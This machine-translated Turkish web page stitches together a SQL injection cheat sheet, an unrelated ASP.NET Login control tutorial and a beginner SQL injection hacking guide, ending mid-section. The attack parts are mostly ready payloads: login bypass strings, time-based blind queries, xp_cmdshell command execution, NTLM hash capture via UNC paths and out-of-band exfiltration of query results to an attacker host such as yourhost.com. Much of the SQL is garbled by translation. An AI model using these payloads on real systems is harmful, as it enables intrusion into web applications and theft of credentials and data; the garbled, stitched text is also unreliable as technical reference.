ProductID = 1)); waitfor gecikme "0: 0: 10" -
ÜrünKimliği = 1 ")); gecikmeyi bekle" 0: 0: 10 "-
Sözdizimi:
BENCHMARK (kaç kez, bunu yap) (M)
Örnek:
VARSA (SELECT * FROM WHERE kullanıcı adı = "root") BENCHMARK (1000000000, MD5 (1))
Kök kullanıcının varlığını kontrol ediyoruz.

EĞER (girişten * SEÇİN) BENCHMARK (1000000, MD5 (1))
MySQL'de bir tabloyu kontrol etme
Sözdizimi:
pg_sleep (saniye) (P)
Sağlanan saniyeler boyunca uyuyun.

uyku (saniye) (M)
verilen saniyeler için uyku.

bms_pipe.receive_message (O)
verilen saniyeler için uyku.
Örnek:
(SEÇ OLDUĞU ZAMAN (NVL (ASCII (SUBSTR ((INJECTION)), 1,1)), 0) = 100) THEN dbms_pipe.receive_message (("xyz"), 10) ELSE dbms_pipe.receive_message (("xyz") ), 1) ikiliden BİTİR)
(ENJEKSİYON) isteğinizdir.
Koşul doğruysa, yanıt 10 saniye olacaktır. Aksi takdirde yanıt 1 saniye olacaktır.

33. Kullanışlı MySQL İşlevleri
Sözdizimi:
MD5 ()
SHA1 ()
PAROLA ()
KODLAMA ()
SIKIŞTIR ()
ROW_COUNT ()
ŞEMA ()
VERSİYON ()

34. İkinci Derece SQL Enjeksiyonları
Tipik olarak, bir alana bir SQL enjeksiyon sorgusu eklersiniz ve bunun filtrelenmemesini beklersiniz.
Örnek:
İsim: "+ (kullanıcılardan İLK 1 şifreyi SEÇİN) +"
E-posta: [e-posta korumalı]
Uygulama, saklı bir yordamın veya işlevin alan adını kullanıyorsa, bunu enjeksiyon için kullanabilirsiniz.

35. NTLM Hash'lerini Almak için SQL Server'ı Kullanma
Bu saldırı, dışarıdan erişim yoksa hedef sunucunun Windows kullanıcı şifresinin SQL Server üzerinden alınmasına yardımcı olacaktır. SQL Server'ı bir UNC yolu kullanarak Windows'a bağlanmaya zorlayabilir ve Cain & Abel gibi özel araçlarla NTLM oturumunu alabiliriz.

Sözdizimi:
UNC yolu: "\\ YOURIPADDRESS \ C $ \ x.txt"
36. Diğer enjeksiyon örnekleri
SQL Server:
? savunmasızParam = 1; OPENROWSET'TEN * SEÇİN ("SQLOLEDB", ((INJECTION)) + ". Yourhost.com"; "sa"; "pwd", "SELECT 1")

? savunmasızParam = 1; DECLARE @q varchar (1024); SET @q = "\\" + ((ENJEKSİYON)) + ". Yourhost.com \\ test.txt"; EXEC master..xp_dirtree @q
(INJECTION) .yourhost.com'a bir DNS isteği oluşturur

(ENJEKSİYON) isteğinizdir.
MySQL:
? savunmasızParam = -99 VEYA (SEÇ LOAD_FILE (concat ("\\\\", ((INJECTION)), "yourhost.com \\")))
yourhost.com'a NBNS / DNS isteği oluşturur
? savunmasızParam = -99 VEYA (SEÇ ((ENJEKSİYON)) OUTFILE "\\\\ yourhost.com \\ share \\ output.txt")
Dosyanıza veri yazar
(ENJEKSİYON) isteğinizdir.
Oracle:
? savunmasızParam = (DUAL'DEN UTL_HTTP.REQUEST ("http://host / sniff.php? sniff =" || ((INJECTION)) || "") SEÇ)
Sniffer sonuçları kaydedecek
? savunmasızParam = (DUAL'DEN UTL_HTTP.REQUEST ("http://host /" || ((INJECTION)) || ".html") SEÇ)
Sonuçlar kaydedilecek HTTP günlükleri
? savunmasızParam = (DUAL'DEN UTL_INADDR.get_host_addr (((INJECTION)) || ".yourhost.com") SEÇ)

? savunmasızParam = (SYS.DBMS_LDAP.INIT SEÇİN (((INJECTION)) || '.yourhost.com', 80) DUAL'DEN)
host.com'a gelen DNS isteklerinin trafiğini analiz etmeniz gerekir.
(ENJEKSİYON) isteğinizdir.

Bu materyal, SQL Injection Cheat Sheet'in duyarlı bir çevirisidir.

Giriş kontrolü

Oturum Açma denetimi, Üyelik API'si ile bağlantılı olarak form kimlik doğrulaması için bir oturum açma sayfası oluşturmayı kolaylaştırır. Kullanıcı adı ve parola isteyen ve kullanıcının oturum açması için bir düğme isteyen, kullanıma hazır bir kullanıcı arabirimi sağlar. Perde arkasında, önceki bir makalede açıklanan işlevleri kapsar: Üyelik API'si aracılığıyla kullanıcı kimliklerini doğrulama ve başarılı bir oturum açma sonrasında güvenli bir uygulama alanında orijinal olarak istenen sayfaya yeniden yönlendirme gibi temel form tabanlı kimlik doğrulama işlevlerini kapsama.

Bu, Login'in Üyelik.ValidateUser() veya FormsAuthentication.RedirectFromLoginPage() gibi şeyleri içine aldığı anlamına gelir, bu nedenle bu kodu kendiniz yazmanız gerekmez. Aşağıdaki şekil, Giriş kontrolünü çalışırken gösterir:

Kullanıcı Oturum Aç düğmesini her tıkladığında, denetim, Üyelik.ValidateUser() işlevini kullanarak kullanıcı adını ve parolayı otomatik olarak doğrular ve ardından doğrulama başarılı olursa FormsAuthenication.RedirectFromLoginPage() öğesini çağırır. Oturum açma denetiminin tüm seçenekleri, bu yöntemlere sağladığı girdiyi etkiler. Örneğin, Bir dahaki sefere beni hatırla onay kutusunu işaretlerseniz, RedirectFromLoginPage() yönteminin createPersistentCookie parametresinde true olarak geçer. Bu nedenle, FormsAuthenticationModule kalıcı bir tanımlama bilgisi oluşturur.

Perde Arkasında Oturum Açma, bir ASP.NET bileşik denetimidir. Tamamen genişletilebilir - herhangi bir düzen stilini ve özelliğini geçersiz kılmanıza ve varsayılan davranışını geçersiz kılmak için oluşturulan olayları engellemenize izin vermesi anlamında. Denetimi değiştirmeden bırakırsanız ve herhangi bir olay yakalamazsanız, uygulama için yapılandırılmış üyelik sağlayıcıyı otomatik olarak kullanır.

Bir sayfadaki Giriş denetiminin en basit biçimi şöyle görünür:

Oturum açma denetiminin görünümünü değiştirmek için çeşitli özellikler sağlanmıştır. Aşağıda gösterildiği gibi farklı stil ayarları uygulayabilirsiniz:

Ek olarak, Login'in görünümünü özelleştirmek için CSS sınıflarını kullanabilirsiniz. Login denetimi tarafından desteklenen her stil özelliği, bir CssClass özelliği içerir. Herhangi bir ASP.NET denetiminde olduğu gibi, bu özellik, web sitesine önceden eklenmiş olan CSS sınıfının adını belirtmenize olanak tanır. Projenize MyStyles.css dosya adıyla aşağıdaki CSS stil sayfasını eklediğinizi varsayalım:

MyLoginTextBoxStyle (imleç: işaretçi; arka plan rengi: sarı; metin hizalama: merkez; dolgu: 6 piksel; kenarlık: noktalı siyah; yazı tipi ailesi: Verdana; dikey hizalama: orta;) .Login (ekran: satır içi blok;) .Title (dolgu: 6px;)

Bu stil dosyası, Login öğesinin stilini oluşturabilmek için giriş sayfasına dahil edilebilir:

Aşağıdaki tablo, Oturum Açma denetimi tarafından desteklenen stilleri listeler. Her stil aynı şekilde çalışır. Yazı tipi ve renk özellikleri doğrudan ayarlanabilir veya istenen CSS sınıfını belirtmek için CssClass özelliğini kullanabilirsiniz:

Oturum Açma Kontrolü Tarafından Desteklenen Stiller
stil Açıklama
CheckBoxStyle

Bir dahaki sefere beni hatırla onay kutusunun stil özelliklerini tanımlar

Arıza Stili

Başarısız bir oturum açma durumunda görüntülenen metnin stilini tanımlar

HyperLinkStyle

Oturum açma kontrolü, örneğin ilk kayıt sayfası gibi çeşitli türlerde köprüler tanımlamanıza olanak tanır. Bu stil, bu tür köprülerin görünümünü belirler.

TalimatMetinStil

Oturum Açma denetimi, doğrudan kendi içinde görüntülenecek yardım metnini belirlemenize olanak tanır. Bu stil, bu metnin görünümünü ayarlar.

Etiket Stili

Kullanıcı Adı ve Parola etiketleri için stili belirtir

Giriş DüğmesiStyle

Giriş düğmesinin stilini tanımlar

Metin Kutusu Stili

Kullanıcı Adı ve Parola metin alanlarının stilini belirtir

BaşlıkMetinStil

Oturum açma denetimi için başlık metninin stilini belirtir

ValidatorTextStyle

Kullanıcı adı ve parolayı doğrulamak için kullanılan kontrollerin stillerini tanımlar

Login öğesinin kullanıcı arabirimi, yalnızca bu stillerden daha fazlasıyla özelleştirilebilir; diğer ek özellikler, grafik arabirimini özelleştirmenize olanak tanıyan Oturum Aç düğmesi gibi denetim içeriğinin belirli bölümlerini hedefler.

Örneğin, oturum açma düğmesinde görüntülenen metni seçebilir veya hatta bu düğme yerine bir köprü görüntüleyebilirsiniz (varsayılan olarak ayarlandığı gibi). Ayrıca, Oturum Açma denetimine bir yardım sayfasına veya kayıt sayfasına bağlantı gibi birden çok köprü ekleyebilirsiniz. Her iki sayfa da anonim erişime açık olmalıdır, çünkü anonim kullanıcılara da yardım sunulmalıdır (biri Login kontrolünü görürse, potansiyel olarak anonim bir kullanıcı olduğunu unutmayın). Oturum Açma'ya ek bağlantılar eklemek için, daha önce gösterilen tanımı aşağıdaki gibi değiştirin:

...

Bu kod, biri yardım sayfasına, diğeri ilk kayıt sayfasına olmak üzere iki ek bağlantı görüntüler ve Login öğesinin başlığının altına kısa bir talimat metni ekler:

Daha önce açıklanan stiller bu özellikler için de geçerlidir. Aşağıdaki tablo, Oturum Açma kontrolünü özelleştirmek için önemli özellikleri açıklamaktadır:

Oturum Açma Kontrolünü Özelleştirmek İçin Önemli Özellikler
Mülk Açıklama
Mesaj metni
BaşlıkMetin

Kontrolün başlığında görüntülenen metin

Talimat Metni

Bu özellik, önceki kod parçacığında zaten kullanılmış. Kontrol başlığının altında görüntülenen metni içerir

ArızaMetin

Oturum açma girişimi başarısız olursa Oturum Açma denetimi tarafından görüntülenen metin

KullanıcıAdıEtiketMetin

Kullanıcı adı metin alanından önce etiket olarak görüntülenen metin

ŞifreEtiketMetin

Kullanıcının parola metin alanından önce etiket olarak görüntülenen metin

Kullanıcı adı

Kullanıcı adı metin kutusunu dolduran ilk değer

Kullanıcı adıRequiredErrorMessage

Kullanıcı bir ad girmediyse görüntülenen hata mesajı

ŞifreGerekliHataMesajı

Kullanıcı bir parola girmediyse görüntülenen hata mesajı

Giriş düğmesi
GirişDüğmesiMetin

Giriş düğmesinde görüntülenen metin

Giriş DüğmesiTürü
LoginButtonImageUrl

Giriş butonu bir grafik resim olarak sunuluyorsa, bu resmin bulunduğu URL'yi belirtmelisiniz.

Giriş sayfası
HedefSayfaUrl'si

Oturum açma girişimi başarılı olursa, Oturum Açma denetimi kullanıcıyı bu sayfaya yönlendirir. Bu özellik varsayılan olarak boştur. Empty, istenen orijinal sayfaya veya Web.config'de Form Kimlik Doğrulaması için yapılandırılan defaultUrl'ye yeniden yönlendirmek için Form Kimlik Doğrulama Çerçevesini kullanır.

ArızaAksiyon

Başarısız bir oturum açma girişiminden sonra denetimin gerçekleştireceği eylemi belirler. Geçerli iki seçenek Refresh ve RedirectToLoginPage'dir. İlk değer yalnızca geçerli sayfayı yenilerken, ikincisi yapılandırılmış oturum açma sayfasına yönlendirir. İkinci seçenek, Oturum Açma denetimi oturum açma sayfasından başka bir yerde kullanılıyorsa kullanışlıdır.

VisibleWhenLoggedIn

Yanlış olarak ayarlanırsa, kullanıcı zaten oturum açmışsa kontrol otomatik olarak kendini gizleyecektir. true (varsayılan) olarak ayarlanırsa, kullanıcı oturum açmış olsa bile Login öğesi görüntülenir.

Beni Hatırla Etiketini Yapılandırma
Ekran Beni Hatırla

Bir dahaki sefere beni hatırla onay kutusunu gösterir veya gizler. Varsayılan olarak bu özellik true olarak ayarlanmıştır

Beni Hatırla

Bir dahaki sefere beni hatırla onay kutusu için varsayılan değeri belirtir. Varsayılan olarak, bu özellik false olarak ayarlanmıştır, yani. onay kutusu işaretli değil

Kayıt sayfası
CreateUserUrl

Bir web sitesinde bir kullanıcı oluşturmanıza (kaydetmenize) izin veren bir sayfaya köprü tanımlar. Bu nedenle, kullanıcıya ilk kayıt sayfasına erişim sağlamak için yaygın olarak kullanılır. Bu genellikle CreateUserWizard denetimini görüntüler.

Kullanıcı Metni Oluştur
CreateUserIconUrl

CreateUserUrl köprü metniyle birlikte görüntülenen grafik resmin URL'si

yardım sayfası
Yardım SayfasıUrl'si

Kullanıcıyı yardım sayfasına yönlendirmek için URL

Yardım SayfasıMetni
Yardım SayfasıIconUrl

HelpPageUrl köprü metniyle birlikte görüntülenen simgenin URL'si

Şifre kurtarma sayfası
Şifre Kurtarma URL'si

Kullanıcıyı parola kurtarma sayfasına yönlendirmek için URL. Bu sayfa, kullanıcı şifresini unuttuğunda geçerlidir. Genellikle bir PasswordRecovery denetimi görüntüler.

ŞifreKurtarmaMetni
Şifre KurtarmaIconUrl

PasswordRecoveryUrl köprü metniyle birlikte görüntülenen simgenin URL'si

Giriş şablonları ve kontrol

Gördüğünüz gibi, tüm bu özellikler Login kontrolünü çok esnek hale getiriyor. Ancak muhtemelen fark ettiğiniz gibi, girişi doğrulamak için herhangi bir ifade tanımlamak imkansızdır. Login kontrolü tarafından sunulan olay prosedürleri içerisinde sunucu taraflı doğrulama uygulamak elbette mümkündür. Login kompozit kontrolüne bazı elementler eklemeniz gerektiğinde, bu yukarıda sunulan özellikler üzerinden yapılamaz. Örneğin, bazı devlet sitelerinin yaptığı gibi, ikinci bir parola veya özel geçiş anahtarıyla güçlü kimlik doğrulama için ikinci bir metin kutusuna ihtiyacınız varsa?

Neyse ki, GridView gibi diğer kontroller gibi, Login kontrolü de şablonları destekler. Şablonları kullanarak, Giriş denetiminin içeriğini herhangi bir kısıtlama olmaksızın özelleştirebilirsiniz. Herhangi bir yeni kontrol buna eklenebilir. Bir tanıtıcı kullanarak Oturum Açma denetimine özel bir şablon uygular DüzenŞablon:

Kayıt olmak

Kullanıcı adı:
Parola:


Yukarıdaki koda bakıldığında, bir soru ortaya çıkıyor: Bir şablon kurarken çok fazla kullanıcı arayüzü kodu yazmanız (veya bir görsel tasarımcıda tasarlamanız) gerekiyorsa, neden Login kontrolünü kullanmadan kendi login sayfanızı yazmıyorsunuz?

Bu doğru soru. Ancak, daha önce açıklandığı gibi, ön uç, Login öğesinin yalnızca bir parçasıdır. Örneğin, kullanıcının oturum açma düğmesine tıklaması durumunda, Oturum Açma denetimi, kullanıcıyı üyelik deposuna karşı otomatik olarak doğrulamak ve onu form kimlik doğrulama çerçevesi aracılığıyla orijinal istenen sayfaya yönlendirmek için gerekli tüm koda zaten sahiptir. Böylece kesinlikle bu kodu yazmaktan kurtulmuş olursunuz.

Doğru kontroller ve bu kontroller için doğru tanımlayıcı değerler ile olay işleme kodu yazmanıza gerek kalmaz. Kod, bir dizi denetim ve bunların düzenini tanımlamanız dışında olağan şekilde çalışır. Gerçekte, Oturum Açma denetimi, KullanıcıAdı ve Parola olmak üzere en az iki metin alanı gerektirir. Bu iki metin alanı eksikse (veya farklı tanımlayıcı değerlerine sahipse), Login bir istisna atar. Diğer tüm kontroller isteğe bağlıdır, ancak uygun bir tanımlayıcı değeri sağlarsanız (oturum açma düğmesi gibi), o zaman Oturum Açma, olaylarını otomatik olarak işleyecek ve varsayılan düzen uygulanmış gibi davranacaktır.

Aşağıdaki tablo, tanımlayıcıların özel değerlerini, onlar için gerekli olan eleman tiplerini ve zorunlu bayrağı listeler:

Oturum açma tanımlayıcısına sahip denetim, baloncuk yayılımını ve CommandName özelliğini destekleyen herhangi bir şey olabilir. Bu öğenin CommandName özelliğini Login olarak ayarlamak önemlidir, çünkü aksi takdirde Oturum Açma kontrolü, olay işleme sırasında bunu tanımayacaktır. CommandName özelliği Login olarak ayarlanmış bir kontrol eklemezseniz, olayları kendiniz halletmeniz ve kullanıcı adını ve parolayı doğrulamak ve istenen orijinal sayfaya yönlendirmek için uygun kodu yazmanız gerekir.

Ayrıca, Giriş ile hiçbir ilgisi olmayan diğer kimliklerle kontroller de ekleyebilirsiniz. Yukarıdaki kod, kullanıcı adı ve parola alanlarını doğrulamak için RequiredFieldValidator ve RegularExpressionValidator öğelerini kullandı.

LayoutTemplate kullanırken, denetimin yerel özelliklerinin çoğu artık kullanılamaz. Bir şablon uygulandığında yalnızca aşağıdaki özellikler kullanılabilir durumda kalır:

    HedefSayfaUrl'si

    VisibleWhenLoggedIn

  • Üyelik Sağlayıcı

Tüm stil özellikleri ve öğelerin metin içeriğini varsayılan olarak özelleştirmeye yönelik birkaç özellik, ayrı denetimler veya Login öğesi şablonuna statik metin olarak manuel olarak eklenebildiklerinden artık Visual Studio Özellik Düzenleyicisi'nde mevcut değildir. Bunları şablon modunda Login öğesine eklerseniz, şablon bu özelliklerden yararlanan Login öğesinin varsayılan arabirimini geçersiz kıldığından, yalnızca yoksayılırlar.

Giriş Kontrol Programlama

Oturum Açma denetimi, davranışını özelleştirmek için kullanabileceğiniz birkaç olayı ve özelliği destekler. Oturum açma denetiminin ince ayarı üzerinde tam denetim sağlarlar (şablonlar ve stil özellikleri gibi diğer özelleştirme araçlarıyla birlikte). Oturum Açma denetimi, aşağıdaki tabloda listelenen olayları destekler:

Giriş Kontrol Olayları
Etkinlik Açıklama
Giriş

Kontrol tarafından kullanıcı kimlik doğrulamasından hemen önce başlatıldı

Giriş

Kullanıcının kimliği kontrol tarafından doğrulandıktan sonra ateşlendi

Sisteme giriş hatası

Bir kullanıcı herhangi bir nedenle oturum açamadığında tetiklenir (örneğin, yanlış bir şifre veya kullanıcı adı)

kimlik doğrulama

Kullanıcı kimlik doğrulaması için tetiklendi. Bu olayı hallederseniz, kullanıcının kimliğini kendiniz doğrulamanız gerekir ve Oturum Açma kontrolü tamamen sizin doğrulama kodunuza bağlı olacaktır.

İlk üç olay, kullanıcı kimlik doğrulamasından önce, kimlik doğrulamadan sonra ve kimlik doğrulama sırasında bir hata olması durumunda bazı eylemleri gerçekleştirmek için ele alınabilir. Örneğin, LoginError olayı, aşağıda gösterildiği gibi, belirli sayıda oturum açma denemesinden sonra kullanıcıyı otomatik olarak parola kurtarma sayfasına yönlendirmek için kullanılabilir:

Protected void Page_Load (nesne gönderici, EventArgs e) (if (! This.IsPostBack) ViewState ["LoginErrors"] = 0;) protected void Login1_LoginError (nesne gönderici, EventArgs e) (// LoginErrors durumu yoksa, oluşturun it if (ViewState ["LoginErrors"] == null) ViewState ["LoginErrors"] = 0; // Başarısız oturum açma girişimlerinin sayacını artırın int ErrorCount = (int) ViewState ["LoginErrors"] + 1; ViewState ["LoginErrors "] = ErrorCount ; // ((ErrorCount> 3) && (Login1.PasswordRecoveryUrl! = String.Empty)) Response.Redirect (Login1.PasswordRecoveryUrl);) başarısız denemelerin sayısını kontrol edin;)

Login kontrolü, olayları aşağıdaki şekilde gösterilen sırayla üretir:

Daha önce belirtildiği gibi, Authenticate olayına müdahale ederseniz, kendi kullanıcı adınızı ve parola doğrulama kodunuzu eklemeniz gerekir. Mülk kimlik doğrulama AuthenticateEventArgs parametre listesinin bir örneğini korur. Bu olay bağımsız değişken sınıfı, Authenticated adlı bir özelliği destekler. True olarak ayarlanırsa, Login denetimi kimlik doğrulamasının başarılı olduğunu varsayar ve LoggedIn olayını başlatır. Bu özelliği false olarak ayarlarsanız, FailureText görüntülenir ve LoginError olayı başlatılır:

Korumalı void Login1_Authenticate (object sender, AuthenticateEventArgs e) (if (Membership.ValidateUser (Login1.UserName, Login1.Password)) (e.Authenticated = true;) else (e.Authenticated = false;))

Gördüğünüz gibi, ilgili metin kutularına girilen metni içeren KullanıcıAdı ve Şifre özellikleri aracılığıyla girilen değerlere doğrudan erişim vardır. Şablonlu denetimler kullanıyorsanız ve KullanıcıAdı ve Parolaya ek olarak başka bir denetimden bir değer almak istiyorsanız, bu ek denetimi almak için FindControl() yöntemini kullanabilirsiniz. Bu yöntem, istenen öğenin kimliğini alır ve System.Web.UI.Control örneğini döndürür. Ortaya çıkan nesne daha sonra istenen kontrolün türüne dönüştürülür ve kullanıcı için özel kimlik doğrulama yönteminin gerektirdiği değer okunur.

Bu makale herhangi bir yeni gerçek içermiyor, SQL enjeksiyonu yaygın olarak açıklanmış ve yaygın olarak kullanılmaktadır. Bu makale daha çok yeni başlayanlar için tasarlanmıştır, ancak belki profesyoneller yeni bir veya iki numara bulabilir.

Bu makale, yeni başlayanların SQL Injection tekniğini kullanırken karşılaşabilecekleri sorunlarla başa çıkmalarına, başarılı bir şekilde kullanmalarına ve bu tür saldırılara karşı kendilerini savunabilmelerine yardımcı olmayı amaçlamaktadır.

Tanıtım

İlgilenilen sunucuda yalnızca 80 numaralı bağlantı noktası açık olduğunda ve güvenlik açığı tarayıcısı ilginç bir şey bildiremediğinde ve sistem yöneticisinin her zaman çok hızlı bir şekilde tüm yamaları web sunucusuna yüklediğini biliyorsanız, son şansımız bir web hack'tir. SQL enjeksiyonu, yalnızca 80 numaralı bağlantı noktasını kullanan ve zamanında yüklenen yamalarla bile çalışabilen web korsanlığı türlerinden biridir. Bu saldırı, doğrudan web sunucusuna veya işletim sistemindeki hizmetlere göre daha çok web uygulamalarına (ASP, JSP, PHP, CGI, vb.) yöneliktir.

Bu makale herhangi bir yeni gerçek içermiyor, SQL enjeksiyonu yaygın olarak açıklanmış ve yaygın olarak kullanılmaktadır. Bu makale daha çok yeni başlayanlar için tasarlanmıştır, ancak belki profesyoneller yeni bir veya iki numara bulabilir. Ayrıca bu alanda uzman kişilerden daha detaylı bilgi almak için yazının sonundaki linklere bakmanızı tavsiye ederim.

1.1 SQL Enjeksiyonu Nedir?

SQL Injection, enjekte etmek için tasarlanmış bir yöntemdir. SQL sorgusu s / komutları web sayfaları aracılığıyla. Birçok web sayfası, web kullanıcılarına sunulan parametreleri kullanır ve veritabanını SQL'de sorgular. Örneğin, bir kullanıcı adı ve şifresi olan bir web sayfası olduğunda ve veritabanında böyle bir kullanıcı adı ve şifre ile kayıtlı bir kullanıcı olup olmadığını kontrol etmek için bir SQL sorgusu yapıldığında bir kullanıcı adı durumunu ele alalım. SQL Injection kullanarak, bize ilginç bir şey sağlayabilecek SQL sorgusunu değiştiren hayali bir kullanıcı adı ve/veya şifre alanı göndermek mümkündür.

2.0 Ne Aramalıyız

Arama sayfası, tartışma sayfası gibi sizden veri isteyen sayfaları bulmaya çalışın. Bazen html sayfaları, komutları başka bir web sayfasına göndermek için POST yöntemini kullanır. Bu durumda, URL'de parametreleri görmezsiniz. Ancak bu durumda HTML sayfalarının kaynak kodunda "FORM" etiketini arayabilirsiniz. Bunun gibi bir şey bulacaksınız:



arasındaki tüm parametreler

ve
SQL enjeksiyonuna karşı potansiyel olarak savunmasız olabilir.

2.1 Girdi kullanan bir sayfa bulamazsanız ne olur?

ASP, JSP, CGI veya PHP Web sayfaları gibi sayfaları arayın. Aşağıdaki gibi parametreleri kullanan sayfaları bulmaya çalışın:

3.0. Bulduğum şeyin savunmasız olduğunu nasıl doğrulayabilirim?

Tek bir alıntıyla başlamayı deneyin. Aşağıdaki satırı girin:

merhaba "veya 1 = 1--

kullanıcı adı veya şifre alanında veya hatta URL parametresinde. Örnek:

Giriş: merhaba "veya 1 = 1--
Geçiş: merhaba "veya 1 = 1--
http: //duck/index.asp? id = merhaba "veya 1 = 1--

Bunu gizli bir alanla yaptıysanız, orijinal HTML'yi indirin, sabit sürücünüze kaydedin, URL'yi ve gizli alanı uygun şekilde değiştirin. Örnek:



Şanslıysanız, kullanıcı adı veya şifre olmadan giriş yapacaksınız.

3.1 Ama neden "veya 1 = 1--?"

"veya 1 = 1--" yapısının kullanışlılığını açıklayan başka bir örneğe bakalım. Kaydı atlamanın yanı sıra, genellikle mevcut olmayan ek bilgilere de bakabilirsiniz. Aşağıdaki ile başka bir sayfaya bağlanan bir asp sayfası düşünün. URL:

http://duck/index.asp? kategori = yemek

URL'de "kategori" değişkenin adıdır ve "gıda" o değişkene atanan değerdir. Bunu yapmak için asp sayfası aşağıdaki kodu içerebilir:

v_cat = istek ("kategori")
sqlstr = "SEÇ * ÜRÜN NEREDE PCategory =" "& v_cat &" ""
set rs = conn.execute (sqlstr)

Gördüğünüz gibi değişkenimiz v_cat ile birleştirilecek ve bu nedenle SQL sorgusu şu şekilde olmalıdır:

SEÇ * ÜRÜN NEREDE PCategory = "gıda"

Bu sorgu, bu durumda "yemek" olan WHERE yan tümcesiyle eşleşen bir veya daha fazla satırdan oluşan bir koleksiyon döndürmelidir. Şimdi URL'yi şu şekilde değiştirelim:

http://duck/index.asp? kategori = yemek "veya 1 = 1--
SEÇİM * Üründen NEREDE PC Kategorisi = "gıda" veya 1 = 1-- '

Bu sorgu, Pcategory "gıda" olsun ya da olmasın, ürün tablosundaki tüm satırları döndürür. Çift tire "-", MS SQL Server'a tek tırnak işaretinden ("") sonra gelen sorgunun geri kalanını yoksaymasını söyler. Bazen çift tireyi bir "#" ile değiştirebilirsiniz.

Ancak, SQL olmayan bir sunucu kullanıyorsanız veya sorgunun geri kalanını yok sayamıyorsanız, şunu deneyin:

"veya" a "=" bir

Şimdi SQL sorgusu şöyle olacak:

SEÇİN * ÜRÜN NEREDE PCategory = "gıda" veya "a" = "a"

Bu istek aynı sonucu döndürür.

Gerçek SQL sorgusuna bağlı olarak, şu olasılıklardan bazılarını denemeniz gerekebilir:

"veya 1 = 1--
"veya 1 = 1--
veya 1 = 1--
"veya" a "=" bir
"veya" a "=" bir
") veya (" bir "=" bir

4.0 SQL enjeksiyonunu kullanarak komutları uzaktan nasıl çalıştırabilirsiniz?

Bir SQL komutu girme yeteneği, genellikle, istediğimiz zaman SQL sorgularını çalıştırabileceğimiz anlamına gelir. MS SQL Server'ın varsayılan kurulumu sistem haklarıyla gerçekleştirilir. Keyfi komutları uzaktan yürütmek için master..xp_cmdshell gibi yerleşik prosedürleri çağırabiliriz:

"; exec master..xp_cmdshell" ping 10.10.1.2 "-

Kullanmaya çalışmak ikili alıntı(") eğer (") başarısız olursa.

Noktalı virgül, geçerli SQL sorgusunu sonlandıracak ve yeni SQL komutları çalıştırmanıza izin verecektir. Komutun başarıyla tamamlanıp tamamlanmadığını kontrol etmek için, savunmasız sunucudan herhangi bir paket içerip içermediklerini görmek için 10.10.1.2'deki ICMP paketlerini kontrol edebilirsiniz:

http://site /? id = 31610

Sunucudan herhangi bir ping isteği almadıysanız ve izin hatasını belirten bir hata mesajı alıyorsanız, yöneticiniz erişimi kısıtlamış olabilir. Web kullanıcısı saklı yordamlara.

5.0 SQL sorgumun sonuçlarını nasıl alabilirim?

İsteğinizi HTML olarak yazmak için sp_makewebtask kullanabilirsiniz:

"; EXEC master..sp_makewebtask" \\ 10.10.1.3 \ share \ output.html "," SELECT * FROM INFORMATION_SCHEMA.TABLES "

Belirtilen IP, Herkes için erişime sahip bir "paylaşım" klasörüne sahip olmalıdır.

6.0 ODBC hata mesajı kullanarak bir veritabanından veri nasıl alınır?

Herhangi bir veriyi almak için SQL sunucusu tarafından oluşturulan hata mesajındaki bilgileri kullanabiliriz. Örneğin, aşağıdaki sayfayı düşünün:

http://duck/index.asp?id = 10

Şimdi '10' tamsayısını veritabanındaki başka bir dize ile birleştirmeye çalışacağız:

http: //duck/index.asp?id = 10 UNION INFORMATION_SCHEMA.TABLES'DEN ÜST 1 TABLE_NAME SEÇİMİ--

INFORMATION_SCHEMA.TABLES sistem tablosu, sunucudaki tüm tablolar için bilgi içerir.

TABLE_NAME alanı açıkça veritabanındaki her tablonun adını içerir. Her zaman var olduğunu bildiğimiz için seçildi. Bizim isteğimiz:

INFORMATION_SCHEMA.TABLES'DEN İLK 1 TABLE_NAME SEÇİN--

Bu sorgu, veritabanındaki ilk adı döndürür. Bu dize değerini tamsayı 10'a UNION yaptığımızda, MS SQL Server nvarchar dizesini tamsayıya dönüştürmeye çalışacaktır. Bu, nvarchar'ı int'ye dönüştüremeyeceğini söyleyen bir hataya neden olacaktır. Sunucu aşağıdaki hatayı verecektir:


nvarchar değeri dönüştürülürken sözdizimi hatası "(! ​​LANG: tablo1" to a column of data type int. !}
/index.asp, satır 5

Hata mesajı, bir tam sayıya dönüştürülemeyen bir değer hakkında bilgi içerir. Bu durumda, ilk tablonun adını aldık - "table1".

Bir sonraki tablo adını almak için aşağıdaki sorguyu kullanabiliriz:

http: //duck/index.asp?id = 10 UNION INFORMATION_SCHEMA'DAN İLK 1 TABLE_NAME SEÇİMİ.

LIKE tuşunu kullanarak da veri arayabiliriz:

http: //duck/index.asp?id = 10 BİRLİĞİ INFORMATION_SCHEMA'DAN İLK 1 TABLE_NAME SEÇİMİ.

ODBC Sürücüleri için Microsoft OLE DB Sağlayıcısı hatası "80040e07" nvarchar değeri dönüştürülürken sözdizimi hatası "(! ​​LANG: admin_login" to a column of data type int. !} /index.asp, satır 5

İlgili yapı "% 25login% 25" SQL sunucusunda % login% ile değiştirilecektir. Bu durumda "admin_login" kriterine uyan tablonun adını alacağız.

6.1 Bir tablodaki tüm sütun adlarını nasıl bulabilirim?

Tablodaki tüm sütun adlarını görüntülemek için INFORMATION_SCHEMA.COLUMNS tablosunu kullanabiliriz:

http: //duck/index.asp?

ODBC Sürücüleri için Microsoft OLE DB Sağlayıcısı hatası "80040e07"
nvarchar değerini dönüştürürken sözdizimi hatası "(! ​​LANG: login_id" to a column of data type int. !}
/index.asp, satır 5

Artık ilk sütun adını bildiğimize göre, bir sonraki sütunun adını almak için NOT IN () işlevini kullanabiliriz:

http: //duck/index.asp?

ODBC Sürücüleri için Microsoft OLE DB Sağlayıcısı hatası "80040e07"
nvarchar değeri dönüştürülürken sözdizimi hatası "(! ​​LANG: login_name" to a column of data type int. !}
/index.asp, satır 5

Devam ederek, sütun adlarının geri kalanını alıyoruz, yani. Bir sonraki hatayı alana kadar "parola", "detaylar".

http: //duck/index.asp?id = 10 BİRLİĞİ SEÇİM ÜST 1 SÜTUN_NAME INFORMATION_SCHEMA.COLUMNS NEREDE TABLE_NAME = "admin_login" WHERE COLUMN_NAME IN DEĞİL ("login_id", "login_name", "parola", ayrıntılar ") -

ODBC Sürücüleri için Microsoft OLE DB Sağlayıcısı hatası "80040e14"
ORDER BY öğeleri, ifade bir UNION operatörü içeriyorsa, seçim listesinde görünmelidir.
/index.asp, satır 5

6.2. İhtiyacımız olan verileri nasıl elde ederiz?

